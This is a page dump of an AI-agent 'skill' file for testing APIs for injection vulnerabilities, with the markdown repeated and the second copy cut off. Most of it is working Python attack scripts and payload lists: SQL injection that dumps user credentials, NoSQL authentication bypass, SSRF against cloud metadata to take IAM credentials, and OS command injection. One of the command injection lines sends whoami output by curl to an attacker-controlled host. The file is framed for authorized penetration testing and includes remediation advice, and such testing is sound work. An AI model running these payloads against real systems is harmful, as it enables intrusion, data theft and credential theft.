[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ETM5JRRC6KPKWTMSGW31R7":3,"skill-same:01M6ETM5JRRC6KPKWTMSGW31R7":122},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":37,"publishedAt":58,"linkOnly":59,"markdownContent":60,"markdownBody":61,"frontMatter":62,"refName":83,"commitSha":84,"skillDirectory":85,"forksCount":14,"repositoryHtmlUrl":86,"repositoryHomepageUrl":87,"ownerHtmlUrl":88,"ownerBlogUrl":6,"ownerDescription":89,"updatedAt":90,"install":91,"resources":104},"01M6ETM5JRRC6KPKWTMSGW31R7","exploiting-api-injection-vulnerabilities",null,"Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to extract data, execute commands, or access internal services. Maps to OWASP API8:2023 Security Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-api-injection-vulnerabilities\u002FSKILL.md",[18,23,26,29,34],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",{"categoryNo":35,"categoryName":36,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000033","数据分析师",[38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57],"vulnerabilities","injection","exploiting api injection vulnerabilities","api","Input Validation","testing","de","input","commands","maps","cm","command","access","data","api-security","server","assessment","sql","cybersecurity","malicious","2026-11-10 10:12:30",false,"---\nname: exploiting-api-injection-vulnerabilities\ndescription: 'Tests APIs for injection vulnerabilities including SQL injection, NoSQL\n  injection, OS command injection, LDAP injection, and Server-Side Request Forgery\n  (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious\n  payloads targeting different backend technologies and injection contexts to extract\n  data, execute commands, or access internal services. Maps to OWASP API8:2023 Security\n  Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection\n  testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- injection\n- sqli\n- nosql\n- ssrf\n- command-injection\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1055\n- T1059\n---\n# Exploiting API Injection Vulnerabilities\n\n## When to Use\n\n- Testing API endpoints that accept user input for database queries, system commands, or external requests\n- Assessing APIs that interact with SQL databases, NoSQL stores (MongoDB, Redis), LDAP directories, or external URLs\n- Evaluating input validation and parameterized query usage across all API endpoints\n- Testing for SSRF where API parameters accept URLs or hostnames that trigger server-side requests\n- Identifying injection points in headers, path parameters, query strings, and JSON\u002FXML request bodies\n\n**Do not use** without written authorization. Injection testing can modify or destroy data and compromise backend systems.\n\n## Prerequisites\n\n- Written authorization specifying target API and backend systems in scope\n- Python 3.10+ with `requests` library\n- SQLMap for automated SQL injection detection and exploitation\n- Burp Suite Professional with Active Scan capabilities\n- Knowledge of the backend database technology (MySQL, PostgreSQL, MongoDB, Redis)\n- Isolated test environment to avoid production data corruption\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Injection Point Identification\n\n```python\nimport requests\nimport json\nimport urllib.parse\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nheaders = {\"Authorization\": \"Bearer \u003Ctoken>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Map all input points across the API\ninjection_points = [\n    # Path parameters\n    {\"type\": \"path\", \"method\": \"GET\", \"url\": \"\u002Fusers\u002F{input}\"},\n    {\"type\": \"path\", \"method\": \"GET\", \"url\": \"\u002Fproducts\u002F{input}\"},\n    {\"type\": \"path\", \"method\": \"GET\", \"url\": \"\u002Forders\u002F{input}\"},\n    # Query parameters\n    {\"type\": \"query\", \"method\": \"GET\", \"url\": \"\u002Fusers?search={input}\"},\n    {\"type\": \"query\", \"method\": \"GET\", \"url\": \"\u002Fproducts?sort={input}&order={input}\"},\n    {\"type\": \"query\", \"method\": \"GET\", \"url\": \"\u002Fproducts?category={input}\"},\n    {\"type\": \"query\", \"method\": \"GET\", \"url\": \"\u002Fsearch?q={input}\"},\n    # JSON body parameters\n    {\"type\": \"body\", \"method\": \"POST\", \"url\": \"\u002Fauth\u002Flogin\", \"fields\": [\"username\", \"password\"]},\n    {\"type\": \"body\", \"method\": \"POST\", \"url\": \"\u002Fusers\", \"fields\": [\"name\", \"email\"]},\n    {\"type\": \"body\", \"method\": \"POST\", \"url\": \"\u002Fsearch\", \"fields\": [\"query\", \"filters\"]},\n    {\"type\": \"body\", \"method\": \"POST\", \"url\": \"\u002Fwebhook\", \"fields\": [\"url\", \"callback_url\"]},\n    # Header parameters\n    {\"type\": \"header\", \"method\": \"GET\", \"url\": \"\u002Fusers\u002Fme\", \"headers\": [\"X-Forwarded-For\", \"Referer\", \"User-Agent\"]},\n]\n```\n\n### Step 2: SQL Injection Testing\n\n```python\n# SQL injection payloads for different contexts\nSQL_PAYLOADS = {\n    \"detection\": [\n        \"'\",\n        \"\\\"\",\n        \"' OR '1'='1\",\n        \"\\\" OR \\\"1\\\"=\\\"1\",\n        \"1 OR 1=1\",\n        \"' OR 1=1--\",\n        \"' UNION SELECT NULL--\",\n        \"1; WAITFOR DELAY '0:0:5'--\",\n        \"1' AND SLEEP(5)--\",\n        \"1)) OR 1=1--\",\n    ],\n    \"union_based\": [\n        \"' UNION SELECT NULL,NULL,NULL--\",\n        \"' UNION SELECT 1,2,3--\",\n        \"' UNION SELECT username,password,NULL FROM users--\",\n        \"-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--\",\n    ],\n    \"error_based\": [\n        \"' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--\",\n        \"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--\",\n    ],\n    \"time_based\": [\n        \"' AND SLEEP(5)--\",\n        \"'; WAITFOR DELAY '0:0:5'--\",\n        \"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--\",\n        \"1; SELECT pg_sleep(5)--\",\n    ],\n}\n\nimport time\n\ndef test_sql_injection(endpoint, param_name, param_type=\"query\"):\n    \"\"\"Test a parameter for SQL injection.\"\"\"\n    results = []\n\n    for category, payloads in SQL_PAYLOADS.items():\n        for payload in payloads:\n            start = time.time()\n\n            if param_type == \"query\":\n                url = f\"{BASE_URL}{endpoint}\"\n                resp = requests.get(url, headers=headers,\n                                  params={param_name: payload}, timeout=15)\n            elif param_type == \"body\":\n                resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                   headers=headers,\n                                   json={param_name: payload}, timeout=15)\n            elif param_type == \"path\":\n                url = f\"{BASE_URL}{endpoint.replace('{input}', urllib.parse.quote(payload))}\"\n                resp = requests.get(url, headers=headers, timeout=15)\n\n            elapsed = time.time() - start\n\n            # Check for SQL injection indicators\n            indicators = {\n                \"error\": any(kw in resp.text.lower() for kw in [\n                    \"sql syntax\", \"mysql\", \"postgresql\", \"sqlite\",\n                    \"oracle\", \"unterminated\", \"syntax error\",\n                    \"unexpected end\", \"quoted string\", \"invalid input\"\n                ]),\n                \"time_based\": elapsed > 4.5 and \"SLEEP\" in payload.upper(),\n                \"union_data\": resp.status_code == 200 and len(resp.text) > 0\n                              and \"UNION\" in payload.upper()\n                              and resp.text != requests.get(f\"{BASE_URL}{endpoint}\",\n                                  headers=headers, params={param_name: \"test\"}).text,\n            }\n\n            if any(indicators.values()):\n                triggered = [k for k, v in indicators.items() if v]\n                results.append({\n                    \"endpoint\": endpoint,\n                    \"param\": param_name,\n                    \"category\": category,\n                    \"payload\": payload,\n                    \"indicators\": triggered,\n                    \"status\": resp.status_code,\n                    \"time\": f\"{elapsed:.1f}s\"\n                })\n                print(f\"[SQLi] {endpoint} ({param_name}): {category} - {triggered}\")\n\n    return results\n\n# Test search parameter\ntest_sql_injection(\"\u002Fsearch\", \"q\", \"query\")\ntest_sql_injection(\"\u002Fproducts\", \"category\", \"query\")\ntest_sql_injection(\"\u002Fauth\u002Flogin\", \"username\", \"body\")\n```\n\n### Step 3: NoSQL Injection Testing\n\n```python\n# NoSQL injection payloads (MongoDB-focused)\nNOSQL_PAYLOADS = {\n    \"auth_bypass\": [\n        # MongoDB operator injection in JSON body\n        {\"username\": {\"$ne\": \"\"}, \"password\": {\"$ne\": \"\"}},\n        {\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}},\n        {\"username\": {\"$regex\": \".*\"}, \"password\": {\"$regex\": \".*\"}},\n        {\"username\": \"admin\", \"password\": {\"$ne\": \"wrongpassword\"}},\n        {\"username\": {\"$in\": [\"admin\", \"root\", \"administrator\"]}, \"password\": {\"$ne\": \"\"}},\n    ],\n    \"data_extraction\": [\n        {\"username\": {\"$regex\": \"^a\"}, \"password\": {\"$ne\": \"\"}},  # Enumerate first char\n        {\"username\": {\"$where\": \"this.username.length > 0\"}, \"password\": {\"$ne\": \"\"}},\n    ],\n    \"operator_injection_string\": [\n        # When input is a string field\n        '{\"$gt\": \"\"}',\n        '{\"$ne\": null}',\n        '{\"$regex\": \".*\"}',\n        '{\"$where\": \"1==1\"}',\n    ],\n}\n\ndef test_nosql_injection(endpoint, method=\"POST\"):\n    \"\"\"Test for MongoDB NoSQL injection.\"\"\"\n    results = []\n\n    # Test JSON body operator injection\n    for category, payloads in NOSQL_PAYLOADS.items():\n        for payload in payloads:\n            if isinstance(payload, dict):\n                resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                   headers=headers, json=payload, timeout=10)\n            else:\n                # Test as string parameter\n                resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                   headers=headers,\n                                   json={\"username\": json.loads(payload), \"password\": \"test\"},\n                                   timeout=10)\n\n            if resp.status_code == 200:\n                resp_data = resp.json() if resp.text else {}\n                if \"token\" in str(resp_data) or \"user\" in str(resp_data):\n                    results.append({\n                        \"endpoint\": endpoint,\n                        \"category\": category,\n                        \"payload\": str(payload)[:100],\n                        \"authenticated\": True,\n                        \"response\": str(resp_data)[:200]\n                    })\n                    print(f\"[NoSQLi] {endpoint}: {category} - Auth bypass successful\")\n\n    return results\n\nnosql_results = test_nosql_injection(\"\u002Fauth\u002Flogin\")\n```\n\n### Step 4: Server-Side Request Forgery (SSRF) Testing\n\n```python\n# SSRF payloads targeting internal services\nSSRF_PAYLOADS = {\n    \"cloud_metadata\": [\n        \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\",                           # AWS IMDS\n        \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\",  # AWS IAM creds\n        \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\",                # GCP\n        \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\",    # Azure\n    ],\n    \"internal_services\": [\n        \"http:\u002F\u002Flocalhost:8080\u002F\",\n        \"http:\u002F\u002F127.0.0.1:6379\u002F\",           # Redis\n        \"http:\u002F\u002F127.0.0.1:9200\u002F\",           # Elasticsearch\n        \"http:\u002F\u002F127.0.0.1:27017\u002F\",          # MongoDB\n        \"http:\u002F\u002Finternal-api.local:8080\u002F\",\n        \"http:\u002F\u002F10.0.0.1\u002Fadmin\u002F\",\n    ],\n    \"protocol_smuggling\": [\n        \"gopher:\u002F\u002F127.0.0.1:6379\u002F_SET%20pwned%20true\",\n        \"file:\u002F\u002F\u002Fetc\u002Fpasswd\",\n        \"dict:\u002F\u002F127.0.0.1:6379\u002FINFO\",\n    ],\n    \"bypass_filters\": [\n        \"http:\u002F\u002F0x7f000001\u002F\",                # Hex IP for 127.0.0.1\n        \"http:\u002F\u002F2130706433\u002F\",                # Decimal IP for 127.0.0.1\n        \"http:\u002F\u002F0177.0.0.1\u002F\",               # Octal\n        \"http:\u002F\u002F127.0.0.1.nip.io\u002F\",         # DNS rebinding\n        \"http:\u002F\u002F[::1]\u002F\",                     # IPv6 localhost\n        \"http:\u002F\u002F127.1\u002F\",                     # Shortened IP\n        \"http:\u002F\u002F0\u002F\",                         # Zero\n    ],\n}\n\ndef test_ssrf(endpoint, url_param, method=\"POST\"):\n    \"\"\"Test for SSRF in URL-accepting parameters.\"\"\"\n    results = []\n\n    for category, payloads in SSRF_PAYLOADS.items():\n        for payload in payloads:\n            try:\n                if method == \"POST\":\n                    resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                       headers=headers,\n                                       json={url_param: payload}, timeout=10)\n                else:\n                    resp = requests.get(f\"{BASE_URL}{endpoint}\",\n                                      headers=headers,\n                                      params={url_param: payload}, timeout=10)\n\n                # Check for SSRF indicators\n                if resp.status_code == 200 and len(resp.text) > 50:\n                    # Check for cloud metadata\n                    if any(kw in resp.text for kw in [\"ami-id\", \"instance-id\",\n                                                       \"iam\", \"AccessKeyId\",\n                                                       \"root:x:\", \"computeMetadata\"]):\n                        results.append({\n                            \"endpoint\": endpoint,\n                            \"category\": category,\n                            \"payload\": payload,\n                            \"severity\": \"critical\",\n                            \"data\": resp.text[:300]\n                        })\n                        print(f\"[SSRF-CRITICAL] {endpoint}: {category} - {payload}\")\n                    else:\n                        results.append({\n                            \"endpoint\": endpoint,\n                            \"category\": category,\n                            \"payload\": payload,\n                            \"severity\": \"high\",\n                            \"data\": resp.text[:100]\n                        })\n                        print(f\"[SSRF] {endpoint}: {category} - {payload} -> {resp.status_code}\")\n            except requests.exceptions.RequestException:\n                pass\n\n    return results\n\n# Test endpoints that accept URLs\nssrf_results = test_ssrf(\"\u002Fwebhook\u002Ftest\", \"url\")\nssrf_results.extend(test_ssrf(\"\u002Fimport\", \"source_url\"))\nssrf_results.extend(test_ssrf(\"\u002Fproxy\", \"target\", \"GET\"))\n```\n\n### Step 5: OS Command Injection Testing\n\n```python\n# Command injection payloads\nCMD_PAYLOADS = {\n    \"detection\": [\n        \"; sleep 5\",\n        \"| sleep 5\",\n        \"` sleep 5 `\",\n        \"$( sleep 5 )\",\n        \"\\n sleep 5\",\n        \"& ping -c 5 127.0.0.1 &\",\n    ],\n    \"data_exfil\": [\n        \"; cat \u002Fetc\u002Fpasswd\",\n        \"| id\",\n        \"`whoami`\",\n        \"$(uname -a)\",\n        \"; curl http:\u002F\u002Fattacker-controlled-server.com\u002F$(whoami)\",\n    ],\n    \"windows\": [\n        \"& ping -n 5 127.0.0.1 &\",\n        \"| dir\",\n        \"; type C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\",\n        \"& timeout \u002Ft 5 &\",\n    ],\n}\n\ndef test_command_injection(endpoint, param_name, param_type=\"body\"):\n    \"\"\"Test for OS command injection.\"\"\"\n    results = []\n\n    for category, payloads in CMD_PAYLOADS.items():\n        for payload in payloads:\n            start = time.time()\n            prefixed_payload = f\"validvalue{payload}\"\n\n            if param_type == \"body\":\n                resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                   headers=headers,\n                                   json={param_name: prefixed_payload}, timeout=15)\n            else:\n                resp = requests.get(f\"{BASE_URL}{endpoint}\",\n                                  headers=headers,\n                                  params={param_name: prefixed_payload}, timeout=15)\n\n            elapsed = time.time() - start\n\n            indicators = {\n                \"time_based\": elapsed > 4.5 and \"sleep\" in payload.lower(),\n                \"output\": any(kw in resp.text for kw in [\n                    \"root:\", \"uid=\", \"Linux\", \"Windows\", \"bin\u002Fbash\",\n                    \"Directory of\", \"Volume Serial\"\n                ]),\n            }\n\n            if any(indicators.values()):\n                results.append({\n                    \"endpoint\": endpoint,\n                    \"param\": param_name,\n                    \"category\": category,\n                    \"payload\": payload,\n                    \"indicators\": [k for k, v in indicators.items() if v],\n                })\n                print(f\"[CMDi] {endpoint} ({param_name}): {payload}\")\n\n    return results\n\n# Test file processing and system interaction endpoints\ntest_command_injection(\"\u002Fexport\", \"filename\")\ntest_command_injection(\"\u002Fconvert\", \"input_file\")\ntest_command_injection(\"\u002Fping\", \"host\", \"query\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SQL Injection** | Inserting SQL code into API parameters that are concatenated into database queries, enabling data extraction or modification |\n| **NoSQL Injection** | Injecting NoSQL operators ($ne, $gt, $regex) into MongoDB queries or manipulating Redis\u002FElasticsearch queries through API parameters |\n| **SSRF** | Server-Side Request Forgery (OWASP API7:2023) - forcing the server to make HTTP requests to attacker-specified destinations including internal services |\n| **Command Injection** | Injecting OS commands through API parameters that are passed to shell execution functions (exec, system, popen) |\n| **Parameterized Queries** | Using prepared statements with bound parameters to prevent SQL injection by separating code from data |\n| **Input Validation** | Server-side verification that user input conforms to expected format, type, length, and character set before processing |\n\n## Tools & Systems\n\n- **SQLMap**: Automated SQL injection detection and exploitation tool supporting all major database types\n- **Burp Suite Professional**: Active scanner with injection detection for SQL, NoSQL, SSRF, and command injection\n- **NoSQLMap**: Automated NoSQL injection detection and exploitation tool focused on MongoDB\n- **SSRFmap**: SSRF detection and exploitation framework with cloud metadata extraction modules\n- **Commix**: Automated OS command injection detection and exploitation tool\n\n## Common Scenarios\n\n### Scenario: E-Commerce API Injection Assessment\n\n**Context**: An e-commerce API uses PostgreSQL for the product catalog, MongoDB for user sessions, and accepts webhook URLs for order notifications. The API is built with Node.js\u002FExpress.\n\n**Approach**:\n1. Test product search endpoint `GET \u002Fapi\u002Fv1\u002Fproducts?search=test` with SQL payloads - discover error-based SQLi revealing PostgreSQL 14 backend\n2. Exploit union-based SQLi to extract all table names, then dump user credentials from the `users` table\n3. Test login endpoint with NoSQL operators - `{\"username\":{\"$ne\":\"\"},\"password\":{\"$ne\":\"\"}}` bypasses authentication\n4. Test webhook URL endpoint for SSRF - `POST \u002Fapi\u002Fv1\u002Fwebhooks {\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}` returns AWS instance metadata\n5. Extract AWS IAM role credentials via SSRF, gaining access to S3 buckets containing customer data\n6. Test file export endpoint for command injection - `GET \u002Fapi\u002Fv1\u002Fexport?filename=report;cat \u002Fetc\u002Fpasswd` returns passwd file contents\n\n**Pitfalls**:\n- Only testing SQL injection when the backend uses multiple data stores (SQL, NoSQL, Redis, Elasticsearch)\n- Missing injection points in HTTP headers (User-Agent, Referer, X-Forwarded-For) that may be logged to SQL databases\n- Not testing SSRF bypass techniques when the initial payload is blocked by URL validation\n- Assuming JSON API bodies are safe from SQL injection (JSON values are still concatenated into queries)\n- Not testing time-based injection when error messages are suppressed\n\n## Output Format\n\n```\n## Finding: SQL Injection in Product Search API Enables Full Database Access\n\n**ID**: API-INJ-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API8:2023 - Security Misconfiguration \u002F Injection\n**Affected Endpoints**:\n  - GET \u002Fapi\u002Fv1\u002Fproducts?search= (SQL injection)\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin (NoSQL injection)\n  - POST \u002Fapi\u002Fv1\u002Fwebhooks (SSRF)\n\n**Description**:\nThe product search API concatenates user input directly into a PostgreSQL\nquery without parameterization. An attacker can extract all database\ncontents including user credentials, payment information, and admin\nsecrets. Additionally, the login endpoint is vulnerable to MongoDB\nNoSQL operator injection, and the webhook endpoint allows SSRF to\ninternal services and cloud metadata.\n\n**Impact**:\n- Full database read\u002Fwrite access via SQL injection\n- Authentication bypass via NoSQL operator injection\n- AWS IAM credential theft via SSRF to instance metadata\n- Potential remote code execution via SQL injection stacked queries\n\n**Remediation**:\n1. Use parameterized queries for all database operations\n2. Validate and sanitize NoSQL operator characters in JSON input\n3. Implement URL allowlisting for webhook and callback URLs\n4. Block access to cloud metadata endpoints (169.254.169.254) from application servers\n5. Use an ORM with parameterized queries and disable raw query methods\n6. Implement WAF rules for common injection patterns as defense in depth\n```\n","# Exploiting API Injection Vulnerabilities\n\n## When to Use\n\n- Testing API endpoints that accept user input for database queries, system commands, or external requests\n- Assessing APIs that interact with SQL databases, NoSQL stores (MongoDB, Redis), LDAP directories, or external URLs\n- Evaluating input validation and parameterized query usage across all API endpoints\n- Testing for SSRF where API parameters accept URLs or hostnames that trigger server-side requests\n- Identifying injection points in headers, path parameters, query strings, and JSON\u002FXML request bodies\n\n**Do not use** without written authorization. Injection testing can modify or destroy data and compromise backend systems.\n\n## Prerequisites\n\n- Written authorization specifying target API and backend systems in scope\n- Python 3.10+ with `requests` library\n- SQLMap for automated SQL injection detection and exploitation\n- Burp Suite Professional with Active Scan capabilities\n- Knowledge of the backend database technology (MySQL, PostgreSQL, MongoDB, Redis)\n- Isolated test environment to avoid production data corruption\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Injection Point Identification\n\n```python\nimport requests\nimport json\nimport urllib.parse\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nheaders = {\"Authorization\": \"Bearer \u003Ctoken>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Map all input points across the API\ninjection_points = [\n    # Path parameters\n    {\"type\": \"path\", \"method\": \"GET\", \"url\": \"\u002Fusers\u002F{input}\"},\n    {\"type\": \"path\", \"method\": \"GET\", \"url\": \"\u002Fproducts\u002F{input}\"},\n    {\"type\": \"path\", \"method\": \"GET\", \"url\": \"\u002Forders\u002F{input}\"},\n    # Query parameters\n    {\"type\": \"query\", \"method\": \"GET\", \"url\": \"\u002Fusers?search={input}\"},\n    {\"type\": \"query\", \"method\": \"GET\", \"url\": \"\u002Fproducts?sort={input}&order={input}\"},\n    {\"type\": \"query\", \"method\": \"GET\", \"url\": \"\u002Fproducts?category={input}\"},\n    {\"type\": \"query\", \"method\": \"GET\", \"url\": \"\u002Fsearch?q={input}\"},\n    # JSON body parameters\n    {\"type\": \"body\", \"method\": \"POST\", \"url\": \"\u002Fauth\u002Flogin\", \"fields\": [\"username\", \"password\"]},\n    {\"type\": \"body\", \"method\": \"POST\", \"url\": \"\u002Fusers\", \"fields\": [\"name\", \"email\"]},\n    {\"type\": \"body\", \"method\": \"POST\", \"url\": \"\u002Fsearch\", \"fields\": [\"query\", \"filters\"]},\n    {\"type\": \"body\", \"method\": \"POST\", \"url\": \"\u002Fwebhook\", \"fields\": [\"url\", \"callback_url\"]},\n    # Header parameters\n    {\"type\": \"header\", \"method\": \"GET\", \"url\": \"\u002Fusers\u002Fme\", \"headers\": [\"X-Forwarded-For\", \"Referer\", \"User-Agent\"]},\n]\n```\n\n### Step 2: SQL Injection Testing\n\n```python\n# SQL injection payloads for different contexts\nSQL_PAYLOADS = {\n    \"detection\": [\n        \"'\",\n        \"\\\"\",\n        \"' OR '1'='1\",\n        \"\\\" OR \\\"1\\\"=\\\"1\",\n        \"1 OR 1=1\",\n        \"' OR 1=1--\",\n        \"' UNION SELECT NULL--\",\n        \"1; WAITFOR DELAY '0:0:5'--\",\n        \"1' AND SLEEP(5)--\",\n        \"1)) OR 1=1--\",\n    ],\n    \"union_based\": [\n        \"' UNION SELECT NULL,NULL,NULL--\",\n        \"' UNION SELECT 1,2,3--\",\n        \"' UNION SELECT username,password,NULL FROM users--\",\n        \"-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--\",\n    ],\n    \"error_based\": [\n        \"' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--\",\n        \"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--\",\n    ],\n    \"time_based\": [\n        \"' AND SLEEP(5)--\",\n        \"'; WAITFOR DELAY '0:0:5'--\",\n        \"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--\",\n        \"1; SELECT pg_sleep(5)--\",\n    ],\n}\n\nimport time\n\ndef test_sql_injection(endpoint, param_name, param_type=\"query\"):\n    \"\"\"Test a parameter for SQL injection.\"\"\"\n    results = []\n\n    for category, payloads in SQL_PAYLOADS.items():\n        for payload in payloads:\n            start = time.time()\n\n            if param_type == \"query\":\n                url = f\"{BASE_URL}{endpoint}\"\n                resp = requests.get(url, headers=headers,\n                                  params={param_name: payload}, timeout=15)\n            elif param_type == \"body\":\n                resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                   headers=headers,\n                                   json={param_name: payload}, timeout=15)\n            elif param_type == \"path\":\n                url = f\"{BASE_URL}{endpoint.replace('{input}', urllib.parse.quote(payload))}\"\n                resp = requests.get(url, headers=headers, timeout=15)\n\n            elapsed = time.time() - start\n\n            # Check for SQL injection indicators\n            indicators = {\n                \"error\": any(kw in resp.text.lower() for kw in [\n                    \"sql syntax\", \"mysql\", \"postgresql\", \"sqlite\",\n                    \"oracle\", \"unterminated\", \"syntax error\",\n                    \"unexpected end\", \"quoted string\", \"invalid input\"\n                ]),\n                \"time_based\": elapsed > 4.5 and \"SLEEP\" in payload.upper(),\n                \"union_data\": resp.status_code == 200 and len(resp.text) > 0\n                              and \"UNION\" in payload.upper()\n                              and resp.text != requests.get(f\"{BASE_URL}{endpoint}\",\n                                  headers=headers, params={param_name: \"test\"}).text,\n            }\n\n            if any(indicators.values()):\n                triggered = [k for k, v in indicators.items() if v]\n                results.append({\n                    \"endpoint\": endpoint,\n                    \"param\": param_name,\n                    \"category\": category,\n                    \"payload\": payload,\n                    \"indicators\": triggered,\n                    \"status\": resp.status_code,\n                    \"time\": f\"{elapsed:.1f}s\"\n                })\n                print(f\"[SQLi] {endpoint} ({param_name}): {category} - {triggered}\")\n\n    return results\n\n# Test search parameter\ntest_sql_injection(\"\u002Fsearch\", \"q\", \"query\")\ntest_sql_injection(\"\u002Fproducts\", \"category\", \"query\")\ntest_sql_injection(\"\u002Fauth\u002Flogin\", \"username\", \"body\")\n```\n\n### Step 3: NoSQL Injection Testing\n\n```python\n# NoSQL injection payloads (MongoDB-focused)\nNOSQL_PAYLOADS = {\n    \"auth_bypass\": [\n        # MongoDB operator injection in JSON body\n        {\"username\": {\"$ne\": \"\"}, \"password\": {\"$ne\": \"\"}},\n        {\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}},\n        {\"username\": {\"$regex\": \".*\"}, \"password\": {\"$regex\": \".*\"}},\n        {\"username\": \"admin\", \"password\": {\"$ne\": \"wrongpassword\"}},\n        {\"username\": {\"$in\": [\"admin\", \"root\", \"administrator\"]}, \"password\": {\"$ne\": \"\"}},\n    ],\n    \"data_extraction\": [\n        {\"username\": {\"$regex\": \"^a\"}, \"password\": {\"$ne\": \"\"}},  # Enumerate first char\n        {\"username\": {\"$where\": \"this.username.length > 0\"}, \"password\": {\"$ne\": \"\"}},\n    ],\n    \"operator_injection_string\": [\n        # When input is a string field\n        '{\"$gt\": \"\"}',\n        '{\"$ne\": null}',\n        '{\"$regex\": \".*\"}',\n        '{\"$where\": \"1==1\"}',\n    ],\n}\n\ndef test_nosql_injection(endpoint, method=\"POST\"):\n    \"\"\"Test for MongoDB NoSQL injection.\"\"\"\n    results = []\n\n    # Test JSON body operator injection\n    for category, payloads in NOSQL_PAYLOADS.items():\n        for payload in payloads:\n            if isinstance(payload, dict):\n                resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                   headers=headers, json=payload, timeout=10)\n            else:\n                # Test as string parameter\n                resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                                   headers=headers,\n                                   json={\"username\": json.loads(payload), \"password\": \"test\"},\n                                   timeout=10)\n\n            if resp.status_code == 200:\n                resp_data = resp.json() if resp.text else {}\n                if \"token\" in str(resp_data) or \"user\" in str(resp_data):\n                    results.append({\n                        \"endpoint\": endpoint,\n                        \"category\": category,\n                        \"payload\": str(payload)[:100],\n                        \"authenticated\": True,\n                        \"response\": str(resp_data)[:200]\n                    })\n                    print(f\"[NoSQLi] {endpoint}: {category} - Auth bypass successful\")\n\n    return results\n\nnosql_results = test_nosql_injection(\"\u002Fauth\u002Flogin\")\n```\n\n### Step 4: Server-Side Request Forgery (SSRF) Testing\n\n```python\n# SSRF payloads targeting internal services\nSSRF_PAYLOADS = {\n    \"cloud_metadata\": [\n        